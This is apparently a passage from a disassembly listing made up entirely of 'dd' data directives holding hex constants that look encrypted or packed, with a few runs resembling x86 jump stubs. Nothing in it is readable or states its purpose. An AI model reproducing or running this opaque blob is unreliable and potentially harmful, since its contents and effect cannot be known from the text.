		dd 2304E81Fh, 0CDDFEDB8h, 0E0913850h, 58000001h, 0D33D553Bh
		dd 5EA0B3DFh, 6BFD089Ah, 5A363E57h, 35D71D3Fh, 78907CE2h
		dd 0C63B6FFCh, 3D7504D2h, 81B9812Eh, 493F3CF8h,	0CA9D9B96h
		dd 47F70C4Eh, 0D6BA180Bh, 122A127Dh, 49F79DFCh,	6A56E236h
		dd 0F7DBBC52h, 75EE31DFh, 0D08BB082h, 38503825h, 2F22E6D3h
		dd 641092CDh, 0B9A2CC73h, 0F9F59C3Dh, 0B2FDBA95h, 3B533B5Ch
		dd 0B7CFBFD0h, 4F643859h, 80C9E236h, 0DDF5DAB9h, 161A3F33h
		dd 0CAE2364Fh, 0BE396E02h, 95AD9EFDh, 381B777Bh, 326791ACh
		dd 14A44h, 3404A700h, 0FA1651Ch, 0D0E2B6D2h, 2047E985h
		dd 0E8CB2058h, 0FE9BE2ADh, 0E81FB807h, 9EFF11D9h, 0E81FB88Eh
		dd 603DB89Fh, 3850FA64h, 695C9054h, 96122A1Ch, 0B3A7D03Ch
		dd 0D1861EBFh, 74056921h, 3Eh, 424D4897h, 6970583Bh, 3589240Ch
		dd 440CC4E2h, 0F3CAA6AAh, 1FB86B96h, 0CCB57DE8h, 0C9A5DDAFh
		dd 0B8160667h, 4E07E81Fh, 0B80E1277h, 1AD2E81Fh, 0EFB62176h
		dd 3850FEDDh, 0A293h, 34047000h, 0A395F21Ch, 1AE2856Bh
		dd 0A36B0CE2h, 0EC023A00h, 7643A8E0h, 3ED2515h,	0D13760Fh
		dd 0D3E23589h, 5D12771Bh, 0BCE235A1h, 0AECDB4CCh, 4549A7DFh
		dd 917F9766h, 6F5AF19Dh, 877F4AABh, 0D0544A31h,	3580A4A1h
		dd 133C50A6h, 1641D92h,	0E823197Dh, 0B1D2AB63h,	0B648FC7h
		dd 4C300941h, 83D37655h, 0A46312Dh, 0AE990000h,	2B127D96h
		dd 0A697F813h, 24EA856Eh, 9E6807ECh, 0F7DA8D66h, 0A04B8375h
		dd 21CA02CFh, 0A14A824Eh, 2DC6FECEh, 50D0B58Ch,	10E8254Ch
		dd 3204ADB2h, 0AE9EF11Ah, 5E627D96h, 891E0267h,	0AC2E235h
		dd 890A1673h, 16DEE235h, 2831197Ah, 3588E34Dh, 54D85E2h
		dd 84BC8CEBh, 3D97B6Fh,	5E280000h, 11FB4F3Dh, 4A3B20D7h
		dd 0FCF01E56h, 959BD890h, 0F810FC18h, 6EACC9B0h, 72E825DAh
		dd 54518EBAh, 7A47225Bh, 6EEE100Ch, 32948A6h, 28EE100Ch
		dd 0C335A561h, 0A8300D9Ch, 0BD6893C4h, 3E416E2Fh, 368C1h
		dd 0A36B0800h, 32F13F5Ah, 3FF7EE10h, 0CFE9977h,	0C3D0BCF4h
		dd 35891A02h, 88B477E2h, 3251E235h, 0D2DE3048h,	9B1491BEh
		dd 81B981E2h, 0B0B1D4EDh, 55E81FA4h, 68450991h,	0E38F6614h
		dd 0CCEF73Fh, 67D3796Fh, 956D5C9h, 0BE890000h, 3B026D86h
		dd 0B687E803h, 341A759Eh, 0AE98F71Ch, 72A7D96h,	709BB385h
		dd 0F11A321Fh, 719AB29Eh, 0FD162E1Eh, 2000655Ch, 0C0E8254Dh
		dd 34047D62h, 0A34D8577h, 92DAF2C4h, 9E1F34DAh,	100D6811h
		dd 0D0E82540h, 2C6F318h, 6306BC98h, 0E82528BDh,	46EF6BA3h
		dd 8CA3CF9Fh, 82E79E11h, 0EE14F18Fh, 0D9E09951h, 14F174BCh
		dd 0D0BC74EEh, 0BCC58AE9h, 14F157D9h, 89C109EEh, 0F2490B62h
		dd 0B0ECEE14h, 7E90A894h, 20433A72h, 0E44F235Bh, 0B0C8B2D1h
		dd 0BAD2BFDCh, 0A3DBA0C3h, 360661CFh, 0F4CDF01Eh, 14F28F91h
		dd 654849EEh, 93ADF609h, 84ABC70Fh, 9AFF8609h, 0F3FEC8DFh
		dd 78704981h, 0EFC79AA5h, 88E5D41h, 66510000h, 0E3AAC52Eh
		dd 5E2F40ABh, 0DCA2CD26h, 56204FA4h, 0AF82D53Eh, 0C8235B2Dh
		dd 49A2DAA7h, 0C9225A26h, 55BED6A6h, 88A8CDF4h,	58E8254Eh
		dd 4D48E5FAh, 0C35E3B42h, 0A5E8253Fh, 8A77146Dh, 0A4680B72h
		dd 0C4AB006Ch, 1A31DFF7h, 86D149Bh, 0EE14F715h,	0C95732CBh
		dd 9FEE14F6h, 0DAF11F57h, 0BBD3BFDBh, 92EF8AF3h, 0B3F3FF06h
		dd 360E0B77h, 660A945Bh, 5244BEBAh, 1E2277EFh, 60796F56h
		dd 7CD2C79Ah, 80760h, 0D5EDD800h, 526A513Eh, 0ADE5D6B9h
		dd 2B632946h, 0A5DDAFC0h, 0B634194Eh, 8678CC4h,	8FE00B43h
		dd 0F608BC3h, 4DEC073Fh, 4E0F1174h, 73D1E825h, 7734046Ch
		dd 0D6387088h, 5FB1C9B1h, 54F45038h, 1BFFB3Eh, 9FF8165Eh
		dd 7C7799B1h, 19A6C6Fh,	36065F9Ah, 0ADAF51Eh, 0EE32675Eh
		dd 2A99A72Ah, 0B2DEA9BFh, 168C3h, 3D5E2000h, 556D5D4Eh
		dd 2A12711Dh, 0A2C1FC12h, 424EA0D8h, 457D4D2Eh,	9F108DAEh
		dd 9FB785E6h, 56AFCAF3h, 0EFE81F9Dh, 0EA86BE8Ch, 6CA49536h
		dd 0A54B834Fh, 0A198E1A9h, 1F9D5CC4h, 0A8C40CE8h, 12FF3B06h
		dd 474B3F5Ch, 0F923462Ah, 22E81FCDh, 0F9CBD205h, 0FF385110h
		dd 7997AF9Ch, 4C681975h, 0A1000000h, 0D633FD98h, 0FD35E81Fh
		dd 4D488291h, 0C42A6229h, 9CF980C8h, 0E81FB875h, 0C800C86Bh
		dd 30536E80h, 576F584Bh, 13FDB5B9h, 616731Fh, 17E81FB8h
		dd 39513D5Eh, 0E0B7DBD7h, 6C5132F5h, 0DAB6BA54h, 50FEEBF9h
		dd 0A58538h, 4660000h, 5C651C34h, 3588F739h, 0C7690CE2h
		dd 99E23588h, 6905CD51h, 0BED6A0C7h, 0F473750h,	9EB686E1h
		dd 0A54B1C75h, 0DAA2E235h, 2B6A49A2h, 16781D64h, 0CAE82280h
		dd 2E187B02h, 0CC8FD16h, 27085EC1h, 6C7B6E44h, 0D19336D6h
		dd 0A496F599h, 6D29E6A0h, 34193697h, 251C541Ch,	0D377B159h
		dd 8D1C00AEh, 52000006h, 0ABC42F67h, 2847ACE4h,	0A3CC275Fh
		dd 214EA5DDh, 83D43F57h, 225A2CAEh, 0A1D9A6C9h,	2159254Ah
		dd 0BDD5A5CAh, 0ABCEF756h, 0E8255085h, 5EE6F95Bh, 0D9374F3Dh
		dd 0F0DAB9D5h, 6C5C33D8h, 4A0BF54h, 728A7734h, 0CBB3D43Ah
		dd 304C58B3h, 35000000h, 3E526A56h, 5FD72F2Dh, 3D553A5Eh
		dd 0B2690C75h, 0B6E8253Fh, 0D3F24A7Eh, 96EFA01Dh, 14F719F3h
		dd 9B6CCFEEh, 0C9818D63h, 4E15FDh, 48460000h, 5E3B424Dh
		dd 0E81FAE63h, 74BCD9E0h, 74E81FAEh, 0C40CD0BCh, 0D6EEDEBDh
		dd 0A67514BAh, 3AE81F9Dh, 0A692AADh, 0E9E50B43h, 0A4EBAA85h
		dd 0C409B8DDh, 33AEE09h, 9C3BA66h, 0A66AEEEh, 4671ED6h
		dd 0FDF11F37h, 0BD2E3A91h, 7D000000h, 3B424D48h, 253FBB5Eh
		dd 1C65ADE8h, 3FE04025h, 4880E825h, 0DCF96124h,	8E781BE6h
		dd 8A4D1A76h, 56875193h, 7DEF38h, 480C0000h, 5E3B424Dh
		dd 0E8253FBCh, 9410FACh, 0A6A3EBE7h, 0AB9D173Eh, 4059C7A2h
		dd 0C70FE825h, 3706618Fh, 3EA9F11Fh, 0C556C9BBh, 86B90B12h
		dd 48773856h, 94000000h, 3B424D48h, 629A6102h, 88B27E1Bh
		dd 7EB6E235h, 3F947712h, 0AD54E825h, 253F68C8h,	0C9B078E8h
		dd 253F84ACh, 0E4AC64E8h, 665C79E1h, 2E065F9Bh,	0FD121063h
		dd 1013C691h, 1E728A73h, 569FAF3Dh, 164138h, 2A20000h
		dd 0E235A2B2h, 0FF013A62h, 8743FFFFh, 0BC6D6C24h, 2635593Bh
		dd 38503D5Eh, 99B6DAD6h, 8FEA931Ch, 0E82541BAh,	9410DAEh
		dd 984AF41h, 829AFF86h,	66EE14F9h, 2A6B40AEh, 78791C65h
		dd 68F404AFh, 24E0D9A0h, 0C5A3FF3h, 0A4C7AB5Ah,	0A7C4BDD5h
		dd 46EA8FD6h, 1AF404F1h, 5DF69AD2h, 5F51AC68h, 8A5BEFF8h
		dd 0A8CCC9E6h, 99E0A8E0h, 0B28225Dh, 0B69A29D4h, 347C709Eh
		dd 35046158h, 2BF9F479h, 12F99AE3h, 0CCAF96FAh,	1623C800h
		dd 78E64A2Fh, 59FAF9F4h, 0B9B55B73h, 69F89DF1h,	9A921B24h
		dd 12FC14F9h, 2911721Eh, 34516811h, 921B23ECh, 0F35834FCh
		dd 7A94AC9Ch, 3E562447h, 0FB152D1Dh, 0F9B49BF7h, 2BAACFB6h
		dd 3D98052Bh, 3F641BF5h, 0FBC2FBBCh, 52B929Eh, 0BB9E5698h
		dd 98052B75h, 0ACCFA36Bh, 204FA4DCh, 0ADCA245Ch, 3348A6DEh
		dd 24E87560h, 0D69EB687h, 3D6E523Dh, 2E0EFB4Fh,	50463523h
		dd 0F2BE5018h, 0A35611D1h, 55BED6BAh, 414E484Ah, 0BF192AFh
		dd 7D111DF3h, 6F162E1Eh, 6408400Ch, 0DFBCC1CAh,	0EEB9D5EDh
		dd 0C3803EEBh, 0FA264DFh, 0DD367EA3h, 0B7B2CAB2h, 0F2D5072Fh
		dd 566E5E07h, 0F20AF162h, 0D0B37D1Ch, 2712E235h, 315D7544h
		dd 23EA7366h, 3B833527h, 0D9D53B53h, 8D2FE85Dh,	7D412EC5h
		dd 0C729612Eh, 0C6D83CBh, 0E235C121h, 0C39A5DDAh, 452CC7FFh
		dd 0E235DE97h, 0DE67C9ACh, 0B179E235h, 214B9AF9h, 7EE53267h
		dd 6FFFFFFh, 1E02675Eh,	0C2E23589h, 3505660Ah, 0B199F61Dh
		dd 5F2F9C99h, 4E3D5E27h, 691F5A36h, 0C6B6AF2Ah,	4A73BA8Eh
		dd 3589012Fh, 0C2FE7E2h, 486B073Fh, 3266CF7Ch, 3334h, 4D48D700h
		dd 0BE5E3B42h, 0A2E8253Fh, 7DF9D6A6h, 1E67C082h, 249AB57Bh
		dd 2B63ABE8h, 0D190B62Eh, 0F3B26792h, 6CA0C5BCh, 7CEE1452h
		dd 416880B4h, 3B000000h, 1E02675Eh, 0C2E23589h,	4C49660Ah
		dd 0BD5F3A43h, 0A3E8253Fh, 21F66E6Bh, 118C364h,	17720B84h
		dd 0EE14F6F5h, 0CE52370Eh, 92EE14F6h, 49AFDE5Ah, 7BB05C9Ah
		dd 3703CB17h, 94AC9DFEh, 91A767Ah, 0F21C3404h, 866DA595h
		dd 0DEA7E8A5h, 1F70B41Ah, 0D284022Dh, 7F71F57Ch, 3F066A9Ch
		dd 15966506h, 0E02EC24h, 0DA68A846h, 7B5D7944h,	791C7038h
		dd 0E81FFD8Ch, 0DEF6DAB9h, 48A66EB2h, 1FFD0329h, 0CC0F28E8h
		dd 514013D1h, 3FAD38h, 7640000h, 94F31D35h, 236BA3h, 60731F37h
		dd 65294D48h, 791C652Dh, 0E81FB798h, 0F6E8048h,	0E81FB71Dh
		dd 0EDAE290Eh, 0B1C9B7D4h, 0AA76535Fh, 0BEE81FB6h, 0AB391A76h
		dd 453850FDh, 0C1h, 1C3404A6h, 6BA395F2h, 0E21AE285h, 6BA36B0Ch
		dd 0E24E2B12h, 39E23588h, 0D5D9374Fh, 46ED8149h, 132B1073h
		dd 8DDD1A7Fh, 4C3CE235h, 0C8B0DF34h, 5185FA7Ch,	377F06D2h
		dd 0FCB3F2D9h, 0A4A5E085h, 3D5EE81Fh, 0D5D9374Fh, 46AD65B9h
		dd 1E672865h, 5A724427h, 0B1D4B8B4h, 0EE0C83C7h, 39513A99h
		dd 0EA93DBD7h, 0FE87BF89h, 0E031513Ah, 4F23CE68h, 89C18BE4h
		dd 8D4C96B0h, 839F31CDh, 1CCh, 0FB102813h, 866DA594h, 3E820E9h
		dd 8D669E6Ch, 0BE018E2h, 9F3715Ch, 88751AF1h, 8F49B70h
		dd 84741BF0h, 3F06A74Ch, 2554D65Ah, 37288AE8h, 4E2B3204h
		dd 0E23588E2h, 0ED064E86h, 6982BA82h, 424D4876h, 0B7B35E3Bh
		dd 7DB5E81Fh, 0B82AF293h, 0BAF3E81Fh, 827D4783h, 0BA460FC4h
		dd 1FCD919Fh, 0F39F57E8h, 0D6E31A4h, 0E6EA043Ch, 141BA98Ah
		dd 0D8D53851h, 36000000h, 0F21C3404h, 856BA395h, 3CE481B8h
		dd 93E23589h, 0C70F93ABh, 8E29CEABh, 0B880E235h, 9A5E6B80h
		dd 8B3157E2h, 88C08D8Fh, 0FFCFACC0h, 0F7429A0Bh, 3F778D8Eh
		dd 9FBBFAD1h, 0A6DF97AFh, 0F30BFC9Fh, 109BFA9Fh, 854DE820h
		dd 93504D6Eh, 8BCD5C64h, 293FC2ADh, 0E79F4ACEh,	360F763Eh
		dd 0C32D6555h, 4DD3B6CFh, 13E8207Eh, 47D2B7DBh,	19EE0D59h
		dd 0EAE7831Dh, 6A222B63h, 25867013h, 0C3CF2159h, 0A9E119E0h
		dd 235B2D42h, 8C2DEA1Ah, 0D3CF61CDh, 0C0h, 0D73C5427h
		dd 52B9D1B8h, 0DF344C3Dh, 59B2CAB0h, 0E70C4436h, 2D1F9DB0h
		dd 0AC91FE15h, 2C107F94h, 0A890FF14h, 0E3DA7B90h, 25569A86h
		dd 0F3EC4EE8h, 8C713204h, 0DE969A74h, 0DBF3C4A7h, 8B731CB7h
		dd 4879873h, 6651C34h, 1E7B023Ah, 0E2358912h, 0DC721ED6h
		dd 0EBD0D3BBh, 79313DD3h, 0F50DFD92h, 7189711Eh, 0FE40FE9Fh
		dd 0AF9F3296h, 301E7997h, 0D289F618h, 1F016427h, 0C13296FEh
		dd 1D0E4109h, 83BB83DAh, 1F370768h
		dd 90A896F1h, 8DC58AE9h, 0AD036F63h, 174E89D2h,	6B04EF27h
		dd 23A00A3h, 0D1A8E0ECh, 5EB0C8B2h, 8C903E52h, 10h, 14774EDFh
		dd 77B9DC25h, 69E23589h, 9685E9A1h, 0F7193104h,	7E90A890h
		dd 0F31D3519h, 816FA794h, 12FC14E6h, 0A54B8375h, 2AC4FCC2h
		dd 0AA447C4Dh, 28C6FECDh, 55FD6801h, 14890000h,	81E28924h
		dd 4C2h, 4EA8300h, 5C241487h, 52F068h, 240C8900h, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 55243489h, 2C65FB68h, 0B9515D2Bh
		dd 2EC3DD47h, 8959CD31h, 8B545DE9h, 0C4832434h,	81515204h
		dd 669B242Ch, 815A4BCEh, 0CE669BC2h, 856894Bh, 2434FF5Ah
		dd 4C4835Eh, 592434FFh,	0E904C483h, 0FFFB89BCh,	0E025907Ah
		dd 0E7971527h, 0E3315638h, 0B8E9BCBDh, 5EFCE08h, 0E0FFC503h
		dd 7D46835h, 4CE2A21Ah,	4324CC8Bh, 0CE8h, 5B14D800h, 247E523Dh
		dd 224E067Eh, 0C7BF0FE3h, 0C381F85Bh, 6D0Ah, 682CF480h
		dd 1B15h, 0BEBE5FFCh, 0FF6D6757h, 0C3E48033h, 38B0F5Ah
		dd 80000000h, 0C281D8E4h, 2F571D79h, 0C281E38Ah, 5E417470h
		dd 0B890Fh, 6E90000h, 33000000h, 0A563E768h, 0DEC281C3h
		dd 0BE636A57h, 5E634D28h, 8F5FB552h, 10E903h, 34570000h
		dd 4F6066CFh, 7CEDB924h, 0BB397D51h, 0EB831E85h, 814B4B02h
		dd 511E67D1h, 1EF8170h,	0F000000h, 1C85h, 0BC08100h, 0E91D5DE1h
		dd 1Fh,	0ABECBCEAh, 0C3848C14h,	6803B15h, 6D18A068h, 0E0B966B4h
		dd 0FF71E9E9h, 0AF8BFFFFh, 0EB726E42h, 2Dh, 0AE0DD000h
		dd 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h,	0ADF99CBEh
		dd 89937EE5h, 8168009Dh, 0BD146726h, 50E503B2h,	52E966A4h
		dd 6800000Bh, 5EFD0C7h,	0FAAEDDE9h, 0D20D68FFh,	0D3E905EFh
		dd 68FFFAAEh, 5EFD31Ah,	0FAAEC9E9h, 0D3CE68FFh,	0BFE905EFh
		dd 68FFFAAEh, 5EFD4AEh,	0FAAEB5E9h, 0D58E68FFh,	0ABE905EFh
		dd 68FFFAAEh, 5EFD676h,	0FAAEA1E9h, 0D85468FFh,	97E905EFh
		dd 68FFFAAEh, 5EFD960h,	0FAAE8DE9h, 0A84F81FFh,	2CD106FCh
		dd 0AC518278h, 22CF02F8h, 0AD4E8C76h, 0A4DE5FF9h, 2BD18536h
		dd 5EA4F0A3h, 0D72D791Eh, 0DA7F39Eh, 36572D9Fh,	26AA1D46h
		dd 421B6E8Fh, 4CB5F51Ch, 0F95C1104h, 45BA085Ah,	0B812BA35h
		dd 3DB07E20h, 592BC29Ch, 7B71C3D2h, 0CE1166EBh,	855C7B56h
		dd 778DD576h, 15C435FEh, 15B9D5B9h, 0A554854Bh,	2FF60306h
		dd 902EB71h, 9245B71Ah,	0A34835BFh, 43E08C2Fh, 0CA39A339h
		dd 57E57F0Ch, 0B77275Dh, 90EB48D0h, 55985608h, 0C30AF0A4h
		dd 0FBA14816h, 388AC65Ah, 0F51F152h, 4EE291C1h,	75848122h
		dd 495ADE9h, 71E4BCFEh,	9EC0ACC0h, 9BEB604h, 0AA180B77h
		dd 0B7709D2h, 52CABD25h, 0C6651658h, 0DF52694h,	50C806DDh
		dd 0FE208663h, 0EB3A92EDh, 976h, 257126AAh, 0B1E598DFh
		dd 155084Bh, 8FDB76FBh,	2560575h, 195925A4h, 0A2D42E7Ah
		dd 1D5FA5F1h, 0A1D42E7Ah, 9C0EA4F0h, 4637562Eh,	8C25A91Dh
		dd 0E549E86Dh, 999321BBh, 0EC175666h, 903CE112h, 353390FCh
		dd 0BC4511C0h, 7CCE906Dh, 12BC7533h, 954DC62Fh,	0F00D18DCh
		dd 1CB02853h, 6BAB966Ah, 40ACE211h, 23814335h, 3AB32Eh
		dd 6EEA0000h, 861C421Bh, 57F8846Fh, 0A00EEF6h, 0EA862AC7h
		dd 50183349h, 33AB12BCh, 3F17E99Fh, 0E017116Ch,	579B913Dh
		dd 722C08A4h, 0E1AFD302h, 119E6A73h, 0DFEE2E24h, 0B7000000h
		dd 1749E86Dh, 45E695D9h, 675BBE5h, 3497FB57h, 0C821C032h
		dd 871A1DAFh, 3F98FB4h,	76175752h, 833328AFh, 86EADA00h
		dd 94C46EAh, 87CEC468h,	0B38BEEAh, 0C3175677h, 41BBEF8Ah
		dd 0C8C16D0Ch, 8BAE4C1h, 12BC797Fh, 24E6F21Bh, 20D5F86Fh
		dd 6CEA9A92h, 1975ED11h, 0D59C1BAh, 0B18B39A3h,	4116CE9h
		dd 0EF3A3F9Ch, 0D1FA4816h, 4D0CD13Eh, 3B3BEA4h,	79DAF730h
		dd 2DC49A02h, 4ACB77E0h, 5D0FACD2h, 0E2BC5F93h,	0A20EAF2Ch
		dd 0CF356DCEh, 0E0DBE88Bh, 24E80B2Ch, 8305D8Ch,	0F0600000h
		dd 6EE11B4Fh, 0F2619BCFh, 6CED1743h, 0EF6399CDh, 3FBE184Ch
		dd 34601347h, 0BFEB88CEh, 34601745h, 0BEEA87CEh, 40348614h
		dd 0B31D4639h, 0ED6D963Fh, 98DE104Eh, 983B57FBh, 6B33AC0h
		dd 1B6E0B52h, 66EAC270h, 0C6741756h, 175666EEh,	36AED941h
		dd 9DB6045Ah, 5012BC48h, 1E1264C8h, 9A116C38h, 0AB5DA8D4h
		dd 0DB2E240Ah, 0E7h, 80F73982h,	0BE1D71DDh, 288435B8h
		dd 5D03B022h, 15B95C93h, 0C7ADA79h, 175665FFh, 4C8D86CFh
		dd 16D01ADh, 0C535FB55h, 3AB3B516h, 0EF3A339Fh,	1CD24816h
		dd 0FFF479D9h, 75F5855Fh, 37C0BA19h, 0CA12BC10h, 7C685513h
		dd 412DCFEDh, 0B052BB15h, 1D8A1953h, 0D3262380h, 0B2B28A38h
		dd 9E2C116Bh, 116BB2A6h, 8F68119h, 0D4B814C5h, 388AD4B8h
		dd 0CD00924h, 0C6AB29D7h, 7ED88074h, 76BF30Bh, 8231A1ABh
		dd 12DC82EEh, 0A36D33E0h, 762E8D30h, 9EAD4E8Ch,	0E80C44A5h
		dd 2322F35Bh, 77000007h, 0F00A5E01h, 708ADE7Fh,	0FC065203h
		dd 7288DC7Dh, 0A1075300h, 63104220h, 0EA89CD37h, 671844BEh
		dd 0D584C933h, 0BB92B81h, 1D463A31h, 6DA10884h,	0B41A4EEDh
		dd 66A89C2Eh, 831B1756h, 39954489h, 7DF0F655h, 6DD188DCh
		dd 0E56F08E8h, 31F5985Ah, 0B69B86FFh, 6D015679h, 0D782CBC1h
		dd 6B330583h, 0B1F81756h, 95388AD4h, 0D12B9AEh,	4DEE91C3h
		dd 6AF0AE36h, 445E19F0h, 5A92B075h, 672E582Ch, 9033AB11h
		dd 0E6B25F96h, 9438D91Ch, 0EFB18C9Dh, 0EF40DE06h, 0E241DBA9h
		dd 77E42AB0h, 0A5066AC6h, 0CC542CDFh, 7447DF0Ch, 0E80ECC8Dh
		dd 6FDE0FA7h, 0A3000006h, 24DE8A2Dh, 0AC5602B3h, 20DA8E2Fh
		dd 0AE5400B1h, 7DDB8F2Ch, 0A75486FCh, 16C509F3h, 9B3CB842h
		dd 11C035CFh, 0CF7DEF45h, 1D4639F5h, 396DC448h,	73D083F7h
		dd 0FF100075h, 38BDA18h, 6DC170E5h, 0F2676D01h,	8D872B47h
		dd 0AD05A948h, 0A32A71E3h, 0E50CA2F6h, 1FE2931Fh, 4C04A741h
		dd 340EB1BCh, 2BCA0DC3h, 1148EB87h, 7, 18DB648h, 11EF0000h
		dd 1756671Fh, 9EC09DECh, 582C9E04h, 0AB175667h,	66B9B301h
		dd 940C1756h, 0A3215BF8h, 5612B9AAh, 1DC232FCh,	0D1ABDDB1h
		dd 59116697h, 940C7B1Ah, 0E568A6F8h, 539A6034h,	0C536F8A6h
		dd 4D13B310h, 5A94C83h,	0BACFCA69h, 7C0FBDE3h, 0F0CCC77h
		dd 0B74906D6h, 0C9E40452h, 9AF11F5Ah, 7F4C2025h, 0E80E3AA2h
		dd 8FDF0EA6h, 0C3000005h, 44BEEA8Dh, 0CC366213h, 40BAEE8Fh
		dd 0CE346011h, 1DBBEF8Ch, 0C774E69Ch, 36E56993h, 0BB5C9862h
		dd 31E015EFh, 0EF5DCF65h, 1D463B15h, 6D4DE468h,	0EFE549E8h
		dd 8E2DAD66h, 11444EE2h, 4C20D506h, 0B469EAE0h,	86F64818h
		dd 43B1FF57h, 4500174h,	0E38C8B0h, 73434h, 0B66D0000h
		dd 0BFh, 80F739EFh, 2E7B7EDDh, 44BB0957h, 0B712B9A9h, 36BF712Fh
		dd 0C30BC59Bh, 12833D10h, 0D152390Eh, 9DD02A72h, 505950FCh
		dd 903CDF13h, 7CCE90FCh, 0CCA30E8h, 5F007CB2h, 0C776F9F3h
		dd 0C86B076Bh, 0EF752BB3h, 5E4A9C06h, 767A18ECh, 0DEF36B0Bh
		dd 0C0638FABh, 0B6E28FC6h, 0C468094Ch, 0BFE1BCCDh, 0B762EB25h
		dd 0FD7D771Bh, 3D9EF25Eh, 0DD391447h, 4C7FE706h, 0EDFDF591h
		dd 0AF9243EBh, 0E3000004h, 649ECA6Dh, 0EC1642F3h, 609ACE6Fh
		dd 0EE1440F1h, 3D9BCF6Ch, 0E794C6BCh, 560549B3h
		dd 0DB7CF802h, 5100758Fh, 8F3DAF05h, 1D463BB5h,	0B62D8408h
		dd 167h, 949FD618h, 711DB162h, 6E1BBE1Dh, 67B2241Bh, 4C204CEFh
		dd 0FFA0DC12h, 4BBC0E5Ch, 0BE12B9A9h, 50E27826h, 1166975Ch
		dd 0C69437AFh, 0B85D925Ch, 34983DB2h, 78FDFB58h, 0FE778DD9h
		dd 25970D53h, 1166974Fh, 0ED173AA2h, 0E28DC05h,	0EAE343E0h
		dd 2A98C69Fh, 0CC9FBB2h, 4D83DD45h, 0A8C4680Fh,	94CE0585h
		dd 65C6EE3Ah, 0C574F937h, 7DF13F91h, 0F27B7DDEh, 0AD01B021h
		dd 2E8235A7h, 1C422E42h, 8A403486h, 2BB30B76h, 0D8212888h
		dd 0B2E1530Dh, 0AC06DC8Dh, 7CB08436h, 9B03058Ch, 7D7D77C5h
		dd 68F0058Ch, 1B28B0CBh, 0EDFEA052h, 0C7CF1EB6h, 1B000003h
		dd 8C7622D5h, 4FEAA4Bh,	887226D7h, 6FCA849h, 0D57327D4h
		dd 0FAC2E54h, 8E2DA15Bh, 3B420DAh, 8928AD57h, 57E577DDh
		dd 1D463D5Dh, 6DF55CD0h, 0BBE549E8h, 0F3500775h, 7DD180F5h
		dd 0FD510477h, 71DD80F7h, 4A6B99DBh, 7B40ACE2h,	0D71947F2h
		dd 0C54F7A2h, 0E38D0B8h, 7BF93734h, 0A70468C4h,	4EFEh
		dd 5B9E5000h, 9546B4BEh, 1B6E9336h, 0F9AE1C42h,	0C12BC2Ah
		dd 0D704CA94h, 44B67826h, 1B1D17A5h, 890116Ch, 0AEA4C864h
		dd 4B278B28h, 4136B0E8h, 0C9116C1Bh, 2F81D584h,	6DC170E1h
		dd 2A922C01h, 12A8F87Fh, 9144B7B1h, 314EC3Dh, 6DB50000h
		dd 0EEE448EFh, 0EC2BAC67h, 0D61CD6Eh, 0CDA1CD61h, 4FEA6399h
		dd 0B564E9E3h, 61118E1h, 44E889C8h, 67665E28h, 0D91756h
		dd 9AA40F1Dh, 264A26F5h, 199DCA78h, 6E9012BDh, 88E448EDh
		dd 0FF1648E4h, 16A4C464h, 116CFA1Eh, 33240991h,	67CDF88h
		dd 116D3732h, 2E39D08Eh, 0E40EA5A9h, 0F7D3F9Ch,	73DF12DCh
		dd 1E6E3AE7h, 7ED2BE10h, 0FF9B112h, 7F2E2485h, 20h, 421B6E26h
		dd 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0CC82116Ch, 0AA355A0h
		dd 0D4D32E24h, 8A000000h, 0E549E86Dh, 500775BBh, 353390FCh
		dd 0B0BA16C5h, 58C29C3Dh, 566712EAh, 5EFD6517h,	0D081F4FEh
		dd 65F10284h, 74F91756h, 0E26B91C5h, 0BC59B37h,	0EB872BC6h
		dd 613C4D48h, 26FCD63Fh, 6B45874Dh, 0AF289AC8h,	4212BBF6h
		dd 22778EDAh, 0E5B7055Bh, 0F10CD045h, 14E3D96Bh, 0A32B0B7Fh
		dd 47305CF0h, 9F077CDFh, 73C15BC1h, 0B7F1579h, 0F1F754CCh
		dd 4F159381h, 0AD50EDBCh, 0EB6F95C1h, 50FAC2Eh,	0E78B27D6h
		dd 0AF01B88Bh, 0AB03E80Ch, 1E97Ah, 0B73900h, 7429AE54h
		dd 0E499DA20h, 6A074AB0h, 0E596C43Eh, 0EC9617B1h, 6399CD6Eh
		dd 0E61C48EBh, 6F95C176h, 0B51F4BE6h, 3E9F9527h, 9E121D46h
		dd 4EED6D37h, 7DBEF910h, 0CD473D15h, 89CC366Eh,	6EE5BCE8h
		dd 0AE1C421Bh, 12BC48B5h, 678ED048h, 35D07709h,	0DE7EDDACh
		dd 690E4E80h, 2BA3A9C5h, 5F512B88h, 0D9116C34h,	70186597h
		dd 9C2E2406h, 0E6h, 83F739C5h, 7573D0h,	83F7FD51h, 0FB9744B6h
		dd 66122157h, 168C1756h, 48E495D8h, 635A5224h, 0A1D01756h
		dd 47305CF0h, 0F37A7CDFh, 72BC1246h, 0AEF05C01h, 5663281Ch
		dd 6F039B17h, 0D683CACCh, 5F26737Ah, 5E14B301h,	59A712BCh
		dd 5C08641Bh, 0D78954A5h, 8F65D74Dh, 0E2116C5Bh, 90A3D97Ah
		dd 0A0CD0B0h, 4AE697C4h, 0FE8526h, 8A802CCDh, 0AAC6AA47h
		dd 1BB83AF4h, 0AD2FE14Fh, 0E14DEE6Ch, 474DE18Dh, 0ACC06C0Fh
		dd 0F56563C0h, 9DC07546h, 5CF4E80Bh, 0DD8Dh, 14CB0D00h
		dd 8035BA40h, 8AD2ED4h,	8633A65Ch, 9AA28D2h, 87AFB5Dh
		dd 877D29CAh, 2F8AC4Fh,	83792DD2h, 51FBAF4Ah, 407B71C3h
		dd 42CE1D46h, 4EED6DEBh, 0F97AB41Ah, 0DA84E844h, 56679468h
		dd 0DC7FE717h, 0B8E693DAh, 0F3500576h, 0E86DF2ABh, 20FE1749h
		dd 0EF94A975h, 373D9D3Eh, 0BE4713BEh, 1A12A06Bh, 6D175679h
		dd 8D5CD8F5h, 20659AF5h, 47A0124Ch, 0BA12BA05h,	0A432DD63h
		dd 422ED182h, 0C071E4EEh, 4AE76E94h, 483C8E14h,	0BB1166EFh
		dd 56208023h, 6E2E761Eh, 0AAF16369h, 0C1287623h, 650A8FAFh
		dd 93200DA2h, 0C6077E08h, 0B64C14B7h, 343E923Fh, 0E8B814C5h
		dd 5C912656h, 0DD47E9BDh, 1B59956Fh, 0D370E8AEh, 5DF1A0D5h
